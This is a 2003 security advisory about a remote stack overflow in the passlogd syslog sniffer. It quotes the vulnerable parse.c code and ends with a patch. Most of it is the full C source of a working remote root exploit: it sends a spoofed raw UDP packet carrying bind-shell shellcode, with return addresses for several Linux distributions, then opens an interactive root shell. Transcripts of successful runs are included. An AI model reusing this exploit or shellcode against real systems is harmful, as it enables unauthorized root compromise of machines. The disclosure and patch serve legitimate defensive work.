6th Apr 2003 [SBWID-6106]
COMMAND
passlogd sniffer remote buffer overflow root exploit
SYSTEMS AFFECTED
passlogd v0.1d
-passlogd-0.1d.tar.gz
+FreeBSD
+OpenBSD
+Linux
+Other
passlogd v0.1c
-passlogd-0.1c.tar.gz
passlogd v0.1b
-passlogd-0.1b.tar.gz
passlogd v0.1a
-passlogd-0.1a.tar.gz
PROBLEM
In INetCop Security Advisory [#2003-0x82-015] by dong-h0un U
[szoahc(at)hotmail(dot)com] or [xploit(at)hackermail(dot)com] :
http://www.inetcop.org (Korean hacking game)
http://x82.i21c.net & http://x82.inetcop.org
passlogd(passive syslog capture daemon) is a purpose-built sniffer for
capturing syslog messages in transit. This allows for backup logging to
be performed on a machine with no open ports.
This program is introduced in securityfocus:
http://www.securityfocus.com/tools/2076
Vulnerability can presume as following. There is sl_parse() function to
33 lines of 'passlogd-0.1d/parse.c' code.
__
33 void sl_parse(char *user, struct pcap_pkthdr *pkthdr, u_char *pkt)
34 {
...
42 char level[5];
43 char message[1024];
44 char buffer[4096];
...
77 while(pkt[i] != '>'){
78 level[j] = pkt[i]; // First, buffer overflow happens.
79 i++;
80 j++;
81 }
82 i++;
...
87 while(pkt[i] != '\n' && pkt[i] != '\r' && i < (pkthdr->caplen - 1)){
88 if(debug)
89 printf("at byte %d of %d\n", i, pkthdr->caplen - 1);
90 message[z] = pkt[i]; // Second, buffer overflow happens.
91 i++;
92 z++;
93 }
...
103 /* built the logstring */
104 if(dflag){
105 sprintf(buffer, "%s %s\n", srcip, message); // Very dangerous.
106 }
107 else {
108 sprintf(buffer, "%s to %s: <%s> %s\n", srcip, dstip, level, message)
// Similarly, is dangerous.
;
109 }
... /* Role of original is like this. */
123 syslev = atoi(level);
124 openlog("passlogd", 0, LOG_DAEMON);
125 syslog(syslev, "%s", buffer);
--
Visual point that change flowing of this program, happen after
overwrited stack variables. Of course, frame pointer overrun exists
together.
Exploit
=======
Kindly provided by dong-h0un U :
bash-2.04# ./0x82-Remote.passlogd_sniff.xpl
passlogd sniffer remote buffer overflow root exploit
by Xpl017Elz.
Usage: ./0x82-Remote.passlogd_sniff.xpl -option [argument]
-h - hostname.
-f - spoof src ip.
-s - &shellcode.
-l - buf len.
-t - target number.
-i - help information.
Select target number:
{0} ALZZA Linux release 6.1 (Linux One)
{1} WOW Linux release 6.2 (Puberty)
{2} RedHat Linux release 7.0 (Guinness)
{3} WOWLiNUX Release 7.1 (Paran)
{4} RedHat Linux release 8.0 (Psyche)
Example> ./0x82-Remote.passlogd_sniff.xpl -h localhost -f82.82.82.82 -t3
Example2> ./0x82-Remote.passlogd_sniff.xpl -h localhost -s0x82828282 -l582
bash-2.04#
test exploit result: --
#1) attacker system:
bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2 -s0x82828282
passlogd sniffer remote buffer overflow root exploit
by Xpl017Elz.
[0] Set packet code size.
[1] Set protocol header.
[2] Make shellcode.
[3] Set rawsock.
[4] Send packet.
[5] Trying 61.37.xxx.xx:36864.
[-] Connect Failed.
bash-2.04#
#2) target system:
[root@blah /passlogd-0.1d]# gdb -q ./passlogd
(gdb) r
Starting program: /passlogd-0.1d/./passlogd
Wed Mar 26 12:16:27 2003
r^) F @ F @ F N f C F f ^ F )
F f F N N N f ^ CC f V V fC ?) ?A ?A V v K
/bin/shd
Program received signal SIGSEGV, Segmentation fault.
0x82828282 in ?? ()
(gdb)
real exploit result: --
bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2
passlogd sniffer remote buffer overflow root exploit
by Xpl017Elz.
[0] Set packet code size.
[1] Set protocol header.
[2] Make shellcode.
[3] Set rawsock.
[4] Send packet.
[5] Trying 61.37.xxx.xx:36864.
[*] Connected to 61.37.xxx.xx:36864.
[*] Executed shell successfully !
Linux blah 2.4.20 #1 SMP Fri Mar 21 20:36:58 EST 2003 i686 unknown
uid=0(root) gid=0(root)
+groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@blah /passlogd-0.1d]#
/*
**
** [*] Title: Remote Multiple Buffer Overflow vulnerability in passlogd sniffer.
** [+] Exploit code: 0x82-Remote.passlogd_sniff.xpl.c
**
** [+] Description --
**
** About:
** passlogd is a purpose-built sniffer for capturing syslog messages in transit.
** This allows for backup logging to be performed on a machine with no open ports.
**
** This program is introduced in securityfocus: http://www.securityfocus.com/tools/2076
**
** Vulnerability can presume as following.
** There is sl_parse() function to 33 lines of 'parse.c' code.
**
** __
** ...
** 77 while(pkt[i] != '>'){
** 78 level[j] = pkt[i]; // This is exploit target.
** 79 i++;
** 80 j++;
** 81 }
** 82 i++;
** ...
** --
**
** Visual point that change flowing of this program,
** happen after overwrited stack variables.
** Of course, frame pointer overrun exists together.
**
** [+] Vulnerable Packages --
**
** Vendor site: http://www.morphine.com/src/passlogd.html
**
** passlogd v0.1d
** -passlogd-0.1d.tar.gz
** +FreeBSD
** +OpenBSD
** +Linux
** +Other
** passlogd v0.1c
** -passlogd-0.1c.tar.gz
** passlogd v0.1b
** -passlogd-0.1b.tar.gz
** passlogd v0.1a
** -passlogd-0.1a.tar.gz
**
** [+] Exploit --
**
** Our proof of concept code was completed.
** Exhibit it sooner or later.
**
** exploit result: --
**
** bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2
**
** passlogd sniffer remote buffer overflow root exploit
** by Xpl017Elz.
**
** [0] Set packet code size.
** [1] Set protocol header.
** [2] Make shellcode.
** [3] Set rawsock.
** [4] Send packet.
** [5] Trying 61.37.xxx.xx:36864.
** [*] Connected to 61.37.xxx.xx:36864.
** [*] Executed shell successfully !
**
** Linux blah 2.4.20 #1 SMP Fri Mar 21 20:36:58 EST 2003 i686 unknown
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
** [root@blah /passlogd-0.1d]#
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <[email protected]>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/
/*
** -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** This exploit is proof of concept. (Therefore, don't support 'Brute-force' mode.)
**
** P.S:
**
** I now, system OS is lacking. :-l
** Although very appreciative people sent account to me.
** uid=0 of this exploit need urgently. hehehe!
**
** Thank you.
**
*/
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
struct os {
int num;
char *ost;
u_long shell;
int l_sz;
};
#define Xpl017Elz x82
#define D_M (0)
struct os plat[]=
{
{
0,"ALZZA Linux release 6.1 (Linux One)",
/* It's Korean Linux */
0xbfffaf82,545
},
{
1,"WOW Linux release 6.2 (Puberty)",
/* It's Korean Linux */
0xbfffaf82,545
},
{
2,"RedHat Linux release 7.0 (Guinness)",
/* It's my redhat that exist uniquely. */
0xbfffae82,581
},
{
3,"WOWLiNUX Release 7.1 (Paran)",
/* It's Korean Linux */
0xbfffae82,593
},
{
4,"RedHat Linux release 8.0 (Psyche)",
/* It's not to me now. (C0mming s00n) */
0x82828282,0 // shit.
},
{
5,NULL,0,0
}
};
void banrl();
int setsock(char *host,int port);
void re_connt(int sock);
void send_recv_sh(int sock);
void usage(char *p_name);
int make_sh(u_long shcode,int l_sz);
int main(int argc,char **argv)
{
int sock,whgl,type=D_M;
struct hostent *he;
struct sockaddr_in hehe;
struct iphdr *__ip_hdr_st;
struct udphdr *__udp_hdr_st;
#ifdef _TEST
#define FK_IP "82.82.82.82" /* fake src ip */
#else
#define FK_IP "216.239.33.101" /* G00Gl3 */
#endif
char spoof_ip[0x82]=FK_IP;
#define D_PORT (36864)
int port=D_PORT;
#define _DMN_NAME
#ifdef _DMN_NAME
#define LC_TEST "localhost" /* default test host */
#else
#define LC_TEST "127.0.0.1" /* localhost */
#endif
char host[0x82]=LC_TEST;
#ifdef T_ADDR_
#define SHELL 0x82828282 /* test */
#endif
u_long shell=plat[type].shell;
int l_sz=plat[type].l_sz;
int atk_pk_size,make_sh_size;
char *__tot_atk_pk,*atk_mbuf;
(void)banrl();
if(argc<2)
{
(void)usage(argv[D_M]);
}
while((whgl=getopt(argc,argv,"L:l:H:h:F:f:T:t:IiS:s:"))!=-1)
{
extern char *optarg;
switch(whgl)
{
case 'H':
case 'h':
memset((char *)host,D_M,sizeof(host));
strncpy(host,optarg,sizeof(host)-1);
break;
case 'F':
case 'f':
memset((char *)spoof_ip,D_M,sizeof(spoof_ip));
strncpy(spoof_ip,optarg,sizeof(spoof_ip)-1);
break;
case 'L':
case 'l':
l_sz=atoi(optarg);
break;
case 'T':
case 't':
type=atoi(optarg);
if(type>4)
(void)usage(argv[D_M]);
else
{
shell=plat[type].shell;
l_sz=plat[type].l_sz;
}
break;
case 'S':
case 's':
shell=strtoul(optarg,NULL,NULL);
break;
case 'I':
case 'i':
(void)usage(argv[D_M]);
break;
case '?':
fprintf(stderr," Try `%s -i' for more information.\n\n",argv[D_M]);
exit(-1);
break;
}
}
{
fprintf(stdout," [0] Set packet code size.\n");
make_sh_size=strlen((char *)make_sh(shell,l_sz));
atk_pk_size=(sizeof(struct iphdr)+
sizeof(struct udphdr)+make_sh_size);
__tot_atk_pk=(char *)malloc(atk_pk_size);
memset((char *)__tot_atk_pk,D_M,atk_pk_size);
atk_mbuf=(sizeof(struct iphdr)+
sizeof(struct udphdr)+
(char *)__tot_atk_pk);
fprintf(stdout," [1] Set protocol header.\n");
__ip_hdr_st=(struct iphdr *)__tot_atk_pk;
__udp_hdr_st=(struct udphdr *)(sizeof(struct iphdr)+__tot_atk_pk);
fprintf(stdout," [2] Make shellcode.\n");
strncpy(atk_mbuf,(char *)make_sh(shell,l_sz),make_sh_size);
}
if((he=gethostbyname(host))==NULL)
{
herror(" gethostbyname()");
exit(-1);
}
if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))==-1)
{
perror(" socket()");
exit(-1);
}
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,"1",sizeof("1"))==-1)
{
perror(" setsockopt()");
exit(-1);
}
fprintf(stdout," [3] Set rawsock.\n");
__ip_hdr_st->version=4;
__ip_hdr_st->ihl=sizeof(struct iphdr)/4;
__ip_hdr_st->tot_len=htons(atk_pk_size);
__ip_hdr_st->ttl=0xff;
__ip_hdr_st->protocol=IPPROTO_UDP;
__ip_hdr_st->saddr=inet_addr(spoof_ip);
__ip_hdr_st->daddr=inet_ntoa(*((struct in_addr *)he->h_addr));
__udp_hdr_st->source=htons(0x82);
__udp_hdr_st->dest=htons(0x202);
__udp_hdr_st->len=(atk_pk_size);
hehe.sin_family=AF_INET;
hehe.sin_port=__udp_hdr_st->dest;
hehe.sin_addr=*((struct in_addr *)he->h_addr);
memset(&(hehe.sin_zero),D_M,(8));
fprintf(stdout," [4] Send packet.\n");
if((sendto(sock,__tot_atk_pk,atk_pk_size,D_M,(struct sockaddr *)&hehe,sizeof(struct sockaddr)))==-1)
{
perror(" sendto()");
exit(-1);
}
fprintf(stdout," [5] Trying %s:%d.\n",host,port);
sleep(2);
sock=(int)setsock(host,port);
(void)re_connt(sock);
fprintf(stdout," [*] Connected to %s:%d.\n",host,port);
(void)send_recv_sh(sock);
}
int make_sh(u_long shcode,int l_sz)
{
int plus_sz_plus=D_M,pk_sz=D_M;
char shell_code_bind_36864[]={
/* bindshell port 36864 */
0xeb,0x72,0x5e,0x29,0xc0,0x89,0x46,0x10,
0x40,0x89,0xc3,0x89,0x46,0x0c,0x40,0x89,
0x46,0x08,0x8d,0x4e,0x08,0xb0,0x66,0xcd,
0x80,0x43,0xc6,0x46,0x10,0x10,0x66,0x89,
0x5e,0x14,0x88,0x46,0x08,0x29,0xc0,0x89,
0xc2,0x89,0x46,0x18,0xb0,0x90,0x66,0x89,
0x46,0x16,0x8d,0x4e,0x14,0x89,0x4e,0x0c,
0x8d,0x4e,0x08,0xb0,0x66,0xcd,0x80,0x89,
0x5e,0x0c,0x43,0x43,0xb0,0x66,0xcd,0x80,
0x89,0x56,0x0c,0x89,0x56,0x10,0xb0,0x66,
0x43,0xcd,0x80,0x86,0xc3,0xb0,0x3f,0x29,
0xc9,0xcd,0x80,0xb0,0x3f,0x41,0xcd,0x80,
0xb0,0x3f,0x41,0xcd,0x80,0x88,0x56,0x07,
0x89,0x76,0x0c,0x87,0xf3,0x8d,0x4b,0x0c,
0xb0,0x0b,0xcd,0x80,0xe8,0x89,0xff,0xff,
0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
};
char sh_data_align_4[0x400];
#define NULL_NULL_PSH 0x00
memset((char *)sh_data_align_4,NULL_NULL_PSH,sizeof(sh_data_align_4));
#define NOP_NOP_PSH 0x90
for(pk_sz=D_M;pk_sz<l_sz;pk_sz++)
sh_data_align_4[pk_sz]=NOP_NOP_PSH;
{
sh_data_align_4[pk_sz++]=(shcode>>0)&0xff;
sh_data_align_4[pk_sz++]=(shcode>>8)&0xff;
sh_data_align_4[pk_sz++]=(shcode>>16)&0xff;
sh_data_align_4[pk_sz++]=(shcode>>24)&0xff;
sh_data_align_4[pk_sz++]=(0x3e);
}
for(plus_sz_plus=D_M;
plus_sz_plus<sizeof(sh_data_align_4)-
strlen(sh_data_align_4)-
strlen(shell_code_bind_36864);
plus_sz_plus++)
sh_data_align_4[pk_sz++]=NOP_NOP_PSH;
for(plus_sz_plus=D_M;
plus_sz_plus<strlen(shell_code_bind_36864);
plus_sz_plus++)
sh_data_align_4[pk_sz++]=shell_code_bind_36864[plus_sz_plus];
return strdup(sh_data_align_4);
}
int setsock(char *hostip,int port)
{
int sock;
struct hostent *he;
struct sockaddr_in x82;
if((he=gethostbyname(hostip))==NULL)
{
return(-1);
}
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
{
return(-1);
}
x82.sin_family=AF_INET;
x82.sin_port=htons(port);
x82.sin_addr=*((struct in_addr *)he->h_addr);
memset(&(x82.sin_zero),0,8);
if(connect(sock,(struct sockaddr *)&x82,sizeof(struct sockaddr))==-1)
{
return(-1);
}
return(sock);
}
void re_connt(int sock)
{
if(sock==-1)
{
fprintf(stderr," [-] Connect Failed.\n\n");
exit(-1);
}
}
void send_recv_sh(int sock)
{
int pk;
struct timeval tm;
char *t_cmd="uname -a;id;exec bash -i\n";
char rbuf[1024];
fd_set rset;
memset((char *)rbuf,D_M,sizeof(rbuf));
fprintf(stdout," [*] Executed shell successfully !\n\n");
send(sock,t_cmd,strlen(t_cmd),D_M);
tm.tv_sec=10;
tm.tv_usec=D_M;
while(1)
{
fflush(stdout);
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,&tm);
if(FD_ISSET(sock,&rset))
{
pk=read(sock,rbuf,sizeof(rbuf)-1);
if(pk<=D_M)
{
fprintf(stdout," [*] Happy-Exploit\n\n");
exit(D_M);
}
rbuf[pk]=D_M;
fprintf(stdout,"%s",rbuf);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
pk=read(STDIN_FILENO,rbuf,sizeof(rbuf)-1);
if(pk>D_M)
{
rbuf[pk]=D_M;
write(sock,rbuf,pk);
}
}
}
return;
}
void usage(char *p_name)
{
int r_s=D_M;
fprintf(stdout," Usage: %s -option [argument]\n",p_name);
fprintf(stdout,"\n\t-h - hostname.\n");
fprintf(stdout,"\t-f - spoof src ip.\n");
fprintf(stdout,"\t-s - &shellcode.\n");
fprintf(stdout,"\t-l - buf len.\n");
fprintf(stdout,"\t-t - target number.\n");
fprintf(stdout,"\t-i - help information.\n\n");
fprintf(stdout," Select target number:\n\n");
for(;;)
{
if(plat[r_s].ost==NULL)
break;
else fprintf(stdout,"\t{%d} %s\n",plat[r_s].num,plat[r_s].ost);
r_s++;
}
fprintf(stdout,"\n Example> %s -h localhost -f82.82.82.82 -t3",p_name);
fprintf(stdout,"\n Example2> %s -h localhost -s0x82828282 -l582\n\n",p_name);
exit(-1);
}
void banrl()
{
fprintf(stdout,"\n passlogd sniffer remote buffer overflow root exploit\n");
fprintf(stdout," by Xpl017Elz.\n\n");
}
/* eox */
-Also-
dong-h0un U made out *BSD exploit. It works in OpenBSD 3.0, FreeBSD
4.6.2-RELEASE :
For reference, FreeBSD includes passlogd-0.1d port:
http://www.freebsd.org/cgi/cvsweb.cgi/ports/net/passlogd/
Proof of Concept exploit:
http://x82.inetcop.org/h0me/c0de/0x82-Remote.XxxxBSD_passlogd.xpl.c
SOLUTION
Check http://www.morphine.com/src/passlogd.html
Patch (by dong-h0un U)
=====
=== parse.patch ===
--- parse.c Sat Jun 9 14:07:45 2001
+++ parse.patch.c Wed Mar 26 11:48:33 2003
@@ -75,6 +75,10 @@
j=0;
while(pkt[i] != '>'){
+ if(j==sizeof(level)-1)
+ {
+ break;
+ }
level[j] = pkt[i];
i++;
j++;
@@ -87,6 +91,10 @@
while(pkt[i] != '\n' && pkt[i] != '\r' && i < (pkthdr->caplen - 1)){
if(debug)
printf("at byte %d of %d\n", i, pkthdr->caplen - 1);
+ if(z==sizeof(message)-1)
+ {
+ break;
+ }
message[z] = pkt[i];
i++;
z++;
@@ -102,10 +110,10 @@
/* built the logstring */
if(dflag){
- sprintf(buffer, "%s %s\n", srcip, message);
+ snprintf(buffer, sizeof(buffer)-1, "%s %s\n", srcip, message);
}
else {
- sprintf(buffer, "%s to %s: <%s> %s\n", srcip, dstip, level, message);
+ snprintf(buffer, sizeof(buffer)-1, "%s to %s: <%s> %s\n", srcip, dstip,
+level, message);
}
if(debug){
=== eof ===